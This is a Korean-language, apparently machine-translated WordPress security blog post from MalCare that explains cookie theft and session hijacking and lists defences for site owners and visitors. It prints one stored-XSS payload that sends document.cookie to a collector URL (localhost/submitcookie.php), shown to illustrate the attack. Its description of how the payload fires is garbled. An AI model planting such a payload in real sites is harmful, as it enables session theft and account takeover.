쿠키 도용 및 하이재킹 세션을 방지하는 방법은 무엇입니까? (가장 쉬운 가이드)

게시 됨: 2023-04-19

귀하의 웹사이트가 쿠키를 사용하여 기밀 데이터를 저장한다는 사실을 알고 계셨습니까? 해커가 쿠키를 쉽게 훔칠 수 있다는 것을 알고 계셨습니까? 이것은 귀하의 웹사이트와 방문자를 위험에 빠뜨릴 수 있습니다!

쿠키는 고객의 광고 기본 설정에서 로그인 자격 증명 및 신용 카드 정보에 이르기까지 모든 종류의 정보를 저장합니다. 쿠키는 인터넷에서 널리 사용되며 얼마나 자주 도난 당하는지 무섭습니다.

쿠키 도용 또는 세션 하이재킹의 피해자인 경우 그 결과는 심각합니다. 수익과 방문자의 신뢰를 잃을 뿐만 아니라 법적 문제와 막대한 벌금에 직면할 수도 있습니다!

하지만 걱정하지 마세요. 오늘은 이러한 공격을 방지하기 위해 알아야 할 모든 것을 알려드릴 것입니다!

이 가이드에서는 먼저 해커가 쿠키를 훔치는 방법을 배운 다음 예방 조치를 살펴보겠습니다.

요약: WordPress 웹사이트가 걱정되시나요? Session Hijacking & Cookie Stealing Protection Plugin을 설치하여 지금 바로 사이트를 보호할 수 있습니다. 웹사이트를 정기적으로 검사하고 해커가 쿠키를 훔칠 수 있는 악성 코드를 주입하면 경고합니다. 플러그인을 사용하면 해킹을 즉시 정리하고 영향을 피할 수 있습니다.

내용의 테이블

→ 쿠키 도용이란 무엇입니까?

→ 해커가 XSS(Cross-Site Scripting)를 사용하여 쿠키를 훔치고 세션을 가로채는 방법은 무엇입니까?

→ 쿠키 도용 및 세션 하이재킹을 방지하는 방법은 무엇입니까?

→ 웹사이트 방문자가 쿠키 도용에 대해 취할 수 있는 단계

쿠키 도용이란 무엇입니까?

우리가 원하는 만큼 쿠키 훔치기는 아이가 쿠키 항아리에 손을 집어넣는 것만큼 간단하지 않습니다! 그것은 복잡한 과정이며 무슨 일이 일어나고 있는지 이해하려면 기본 사항을 다룰 필요가 있습니다.

→ 쿠키란 무엇입니까?

쿠키는 아주 작은 데이터 조각이라고 생각할 수 있습니다. 웹 사이트와의 상호 작용에 대한 정보를 저장합니다. 예를 들어 전자 상거래 사이트는 고객의 여정(검색한 제품, 구매한 제품, 장바구니에 버린 항목 또는 방문한 페이지)을 추적하려고 합니다.

이것은 고객이 선호하는 것, 가장 많이 방문한 페이지, 사용자가 페이지에 머문 시간 등에 대한 분석 정보를 매장에 제공합니다. 그런 다음 매장은 이 정보를 사용하여 고객의 선호도에 따라 웹사이트에 표시되는 내용을 조정할 수 있습니다.

쿠키는 웹사이트 소유자에게 작동하는 것과 작동하지 않는 것에 대한 통찰력을 제공합니다. 이것은 사이트에서 변경하거나 개선해야 할 사항을 결정하는 데 도움이 됩니다.

쿠키는 사용자에게 관련 광고를 표시하는 데에도 사용됩니다. 웹 사이트를 방문하면 광고가 표시되는 것을 볼 수 있습니다.

휴일 거래

이러한 광고는 일반적으로 최근 검색 기록을 반영합니다. 예를 들어 Google에서 '노트북'을 검색하면 모든 웹사이트의 광고에 Dell 광고가 표시됩니다. 이러한 광고는 웹사이트의 일부가 아니지만 Google Adsense와 같은 서비스에서 처리합니다.

쿠키는 웹사이트 소유자와 사용자 모두에게 편리함을 제공합니다. 그것은 참여를 높이고 웹 사이트 소유자에게 좋은 더 많은 판매로 이어질 수 있습니다. 구매자는 쿠키를 통해 웹사이트에서 보다 개인화된 경험을 얻거나 보다 관련성 높은 광고를 볼 수 있습니다.

그러나 우리가 조금 나중에 논의할 많은 단점이 있습니다.

[위로 ]

→ 브라우저 세션 및 세션 ID란 무엇입니까?

웹사이트에 로그인하면 컴퓨터와 이 웹사이트 사이에 세션이 생성됩니다.

예를 들어 Facebook에 로그인하면 세션이 시작됩니다. 이렇게 하면 '로그아웃'을 클릭하고 세션을 종료할 때까지 Facebook을 계속 사용할 수 있습니다(웹 브라우저를 닫았다가 다시 열더라도).

세션이 생성되지 않은 경우 새 데이터를 원할 때마다 계속 로그인해야 합니다 . 예를 들어 Facebook 뉴스 피드를 떠나 친구의 프로필 페이지를 보려면 Facebook에서 로그아웃되며 로그인하여 친구의 프로필을 보려면 자격 증명을 다시 입력해야 합니다.

페이스북 로그인

이것이 세션이 필요한 이유입니다. 계속해서 다른 웹 페이지를 탐색하고 웹 사이트를 탐색할 수 있도록 로그인 상태를 유지합니다.

여기서 주목해야 할 중요한 점은 모든 세션이 쿠키 세트를 생성한다는 것입니다. 이러한 세션 쿠키를 호출할 수 있습니다. 그리고 각 세션 쿠키에는 고유한 세션 ID가 있습니다.

웹 사이트는 이 ID를 사용하여 사용자를 인증하고 신뢰할 수 있는 연결을 설정합니다.

예를 들어 Facebook에 로그인하려면 사용자 이름과 비밀번호를 입력해야 합니다. 다음으로 고유 ID로 세션이 생성됩니다. Facebook 웹사이트에 대한 모든 요청은 이 ID로 인증됩니다. 따라서 다른 페이지를 보려면 해당 페이지를 표시하도록 Facebook 서버에 요청을 보내야 합니다. Facebook은 ID를 확인하고 보고 싶은 콘텐츠를 표시합니다.

이제 해커가 세션을 하이재킹하고 이 신뢰할 수 있는 연결을 남용할 수 있습니다. 그들은 귀하를 대신하여 악의적인 요청을 보낼 수 있습니다. 방법을 알아보겠습니다.

[위로 ]

→ 쿠키의 보안 문제는 무엇입니까?

쿠키가 생성되면 사이트 소유자인 귀하만 볼 수 있습니다. 다른 웹사이트에서는 귀하의 쿠키를 볼 수 없습니다. 그들은 전적으로 귀하에게 속합니다.

그러나 이러한 쿠키는 인터넷을 통해 이동합니다. 광고 서비스 및 분석 서비스에서 사용됩니다. 따라서 이러한 쿠키는 전 세계의 서버에서 서버로 반송됩니다. 연결이 안전하지 않으면 해커가 이러한 쿠키를 쉽게 가로채서 훔칠 수 있습니다.

이제 해커가 귀하의 쇼핑 선호도에 대한 정보를 얻을 수 있다면 큰일이라고 생각할 수 있습니다.

문제는 귀하의 쇼핑 선호도에 대한 정보 이상으로 쿠키가 저장된다는 것입니다. 또한 배송 주소 및 연락처 세부 정보와 같은 은행 세부 정보 및 개인 정보를 저장합니다 .

이러한 종류의 정보가 잘못된 손에 넘어가면 사기 행위에 악용될 수 있습니다.

해커가 쿠키를 훔치는 가장 일반적인 방법 중 하나는 그들이 귀하와 동일한 Wi-Fi를 사용하는 경우입니다. 이러한 종류의 Wi-Fi 해킹을 중간자 공격이라고 하며 둘 다 동일한 무선 네트워크에 연결된 경우에만 발생할 수 있습니다. 그렇기 때문에 안전하지 않거나 많은 사람들이 사용하는 공용 Wi-Fi는 절대 사용하지 않는 것이 좋습니다. 이는 동일한 컴퓨터 네트워크 내의 사용자에게도 발생할 수 있습니다.

몇 가지 다른 방법에는 패킷 스니핑과 교차 사이트 스크립팅이라는 취약점을 악용하는 방법이 있습니다. 오늘은 XSS 쿠키 훔치기가 어떻게 작동하는지 자세히 보여드리겠습니다.

[위로 ]

해커가 XSS(교차 사이트 스크립팅)를 사용하여 쿠키를 훔치고 세션을 가로채는 방법은 무엇입니까?

해커가 교차 사이트 스크립팅(XSS) 공격을 사용하여 쿠키를 훔치는 방법을 보여주기 위해 예제를 사용합니다. 댓글 섹션이 있는 웹사이트를 방문한다고 가정해 보겠습니다.

귀하가 작성하는 모든 의견은 웹사이트의 데이터베이스로 전송됩니다. 이상적으로는 이 댓글 섹션은 일반 영어 텍스트만 허용하도록 구성해야 합니다. 그러나 특수 문자도 허용하면 XSS에 취약해집니다.

해커는 데이터베이스로 전송될 자신의 악성 코드를 입력할 수 있습니다. 안으로 들어가면 코드가 실행됩니다. 해커가 웹 사이트에 삽입하여 새 웹 사이트 관리자를 만들거나 쿠키를 훔치는 것과 같은 모든 종류의 악의적인 활동을 실행할 수 있는 수많은 코드가 있습니다.

쿠키를 훔치기 위해 해커는 다음 코드를 입력할 수 있습니다.

참고: 이것은 쿠키를 훔치는 방법에 대한 자습서가 아닙니다. 이 문서는 웹사이트 소유자가 해커가 쿠키를 훔칠 수 있는 방법을 알리기 위한 것입니다. 우리는 불법적인 활동을 수행하도록 조언하지 않습니다.

[php]

document.write('<img src=& amp;amp;amp;quot;http://localhost/submitcookie.php?쿠키 ='

+ escape(document.cookie) + '" />);

[/php]

댓글 섹션에서 이 코드는 이미지로 나타납니다. (방문자로서) 클릭하면 이미지가 표시됩니다. 하지만 방금 일어난 일보다 더 많은 일이 있습니다.

이미지를 클릭하면 이 PHP 파일이 자동으로 코드를 실행하고 세션 쿠키와 세션 ID를 가져옵니다.

이제 해커는 세션을 다시 생성하고 해당 웹 사이트에서 사용자로 가장할 수 있습니다. 그들은 다양한 악의적인 행위를 수행할 수 있습니다. 예를 들어 쿠키에 신용 카드 또는 기타 결제 정보가 포함되어 있으면 구매할 수 있습니다.

다행히 웹사이트 소유자와 방문자를 이러한 해킹으로부터 보호할 수 있는 예방 조치가 있습니다.

[ss_click_to_tweet tweet="웹사이트 댓글 섹션과 이메일에 있는 의심스러운 링크를 절대 클릭하지 마십시오. 쿠키 도난의 피해자가 될 수 있습니다.” content="웹사이트 댓글 섹션과 이메일에 있는 의심스러운 링크를 절대 클릭하지 마십시오. 쿠키 도난의 피해자가 될 수 있습니다.” 스타일 = "기본값"]

[위로 ]

쿠키 도용 및 세션 하이재킹을 방지하는 방법은 무엇입니까?

쿠키 도용 및 세션 하이재킹을 방지하는 역할을 하는 두 당사자, 즉 웹사이트 소유자와 방문자가 있습니다. 우리는 양측의 예방 조치에 대해 논의할 것입니다.

웹사이트 소유자가 쿠키 도용에 대해 취할 수 있는 조치

웹 사이트 소유자로서 모든 것을 처리할 보안 분석가가 없는 경우 다음과 같은 예방 조치를 구현해야 합니다.

1. SSL 인증서 설치

데이터는 사용자의 브라우저와 웹 서버 간에 지속적으로 전송됩니다. SSL이 없으면 이 데이터(쿠키)는 일반 텍스트로 전송됩니다. 해커가 이 데이터를 가로채면 간단히 읽을 수 있습니다. 따라서 로그인 자격 증명이 포함되어 있으면 노출됩니다.

SSL 인증서

SSL(Secure Sockets Layer)은 데이터를 전송하기 전에 암호화합니다. 따라서 해커가 훔쳐도 데이터를 읽을 수 없습니다.

웹 호스팅 회사나 SSL 제공업체를 통해 SSL 인증서를 받을 수 있습니다. Let's Encrypt에서 기본 무료 SSL 인증서를 받을 수도 있습니다.

2. 보안 플러그인 설치

웹 사이트에서 MalCare와 같은 WordPress 보안 플러그인을 활성 상태로 유지하십시오. 플러그인의 방화벽은 웹 사이트에 대한 해킹 시도를 방지하고 악의적인 IP 주소를 차단합니다. 또한 사이트를 정기적으로 검사하여 해커가 악성 코드를 입력한 경우 경고합니다. 웹 사이트를 즉시 정리할 수 있습니다. 이렇게 하면 피해를 입히기 직전에 이러한 해킹 시도를 감지하고 삭제하는 데 도움이 됩니다.

3. 웹사이트 업데이트

웹 사이트를 항상 최신 상태로 유지하십시오. 여기에는 WordPress 설치, 테마 및 플러그인이 포함됩니다. 오래된 소프트웨어를 실행하면 웹사이트에서 해커가 악용할 수 있는 많은 취약한 지점이 열립니다. 새 업데이트가 있을 때 사이트를 업데이트하십시오.

워드프레스 코어 업데이트

이러한 업데이트는 새로운 기능과 버그 수정을 제공할 뿐만 아니라 수시로 보안 결함을 수정합니다.

4. 웹사이트 강화

WordPress.org는 웹사이트에 구현해야 하는 특정 웹사이트 강화 조치를 권장합니다. 여기에는 강력하고 고유한 사용자 이름과 강력한 암호 사용, 알 수 없는 폴더에서 PHP 실행 차단, 테마 및 플러그인에서 파일 편집기 비활성화 등이 포함됩니다. 이제 이 모든 것이 전문 용어처럼 들릴 수 있으므로 따라갈 수 있는 WordPress 강화에 대한 심층적인 단계별 가이드를 만들었습니다.

[위로 ]

웹사이트 방문자가 쿠키 도용에 대해 취할 수 있는 조치

웹사이트 방문자는 웹사이트가 적절한 보안 조치를 취했다고 맹목적으로 믿을 필요가 없습니다. 다음 웹 보안 프로토콜로 자신을 보호할 수 있습니다.

1. 효과적인 바이러스 백신 설치

인터넷에 액세스하는 데 사용하는 장치에 맬웨어 방지 소프트웨어가 설치되어 있는지 확인하십시오. 악성 웹 사이트를 방문할 때 맬웨어가 감지되면 경고합니다. 또한 실수로 시스템에 다운로드하거나 설치할 수 있는 모든 맬웨어를 제거합니다.

2. 의심스러운 링크를 클릭하지 마십시오

해커는 웹사이트의 댓글 섹션과 이메일을 통해 사용자를 표적으로 삼습니다. 매력적인 제안이나 할인으로 유혹하는 신뢰할 수 없는 링크를 클릭하지 마십시오.

3. 민감한 데이터 저장 피하기

쇼핑 웹사이트에 신용 카드 정보를 저장하면 보다 빠르고 편리하게 결제할 수 있습니다. 웹사이트에 자동 로그인하기 위해 Google 크롬과 같은 웹 브라우저에 암호를 저장하면 암호를 기억할 필요가 없습니다!

그러나 모두 도난 위험이 높습니다. 웹 사이트에 민감한 데이터를 저장하지 않는 것이 가장 좋습니다. 몇 초를 절약할 수 있지만 공격을 받을 위험도 있습니다.

4. 쿠키 삭제

Google 크롬과 같은 브라우저에 저장된 민감한 정보를 제거하기 위해 정기적으로 쿠키를 지울 수 있습니다. 액세스 기록 > 검색 기록 지우기. 여기에서 '쿠키 및 기타 사이트 데이터' 확인란을 선택합니다.

구글 브라우저 데이터 지우기

시간 범위 '전체 시간' 또는 원하는 대로 시간 범위를 선택하십시오. 그런 다음 '데이터 지우기'를 클릭하면 브라우저 기록에서 쿠키가 삭제됩니다.

이로써 쿠키 도용을 막을 수 있습니다. 이 기사가 정확히 어떤 일이 발생하고 이를 방지하는 방법을 더 잘 이해하는 데 도움이 되었기를 바랍니다.

[ss_click_to_tweet tweet=”MalCare의 이 가이드는 쿠키 도용과 이에 대한 예방 조치를 이해하는 데 도움이 되었습니다. 확인 해봐." content=”MalCare의 이 가이드는 쿠키 도용과 이에 대한 예방 조치를 이해하는 데 도움이 되었습니다. 확인 해봐." 스타일 = "기본값"]

[위로 ]

마지막 생각들

웹사이트 소유자로서 귀하는 자신의 이익과 방문자, 클라이언트 및 고객을 보호하기 위한 보호 조치를 취해야 합니다. 그러나 우리는 웹사이트를 설정하고 관리하는 것이 어려운 일이라는 것을 알고 있습니다.

처리해야 할 사항이 끝없이 많기 때문에 WordPress 보안이 여러 번 뒷자리를 차지하는 경향이 있습니다.

그러나 웹 사이트의 보안 측면을 무시하면 다른 모든 노력에 재앙이 될 수 있습니다.

쉽고 빠르고 효율적인 솔루션은 MalCare 보안 플러그인입니다. 당신이 고용하는 경비원이라고 생각할 수 있습니다. 24시간 작동하여 정기적으로 웹 사이트를 스캔하고 공격으로부터 보호합니다. 귀하의 웹 사이트가 안전한 손에 있음을 안심할 수 있습니다.


MalCare 로 워드프레스 사이트를 보호하세요 !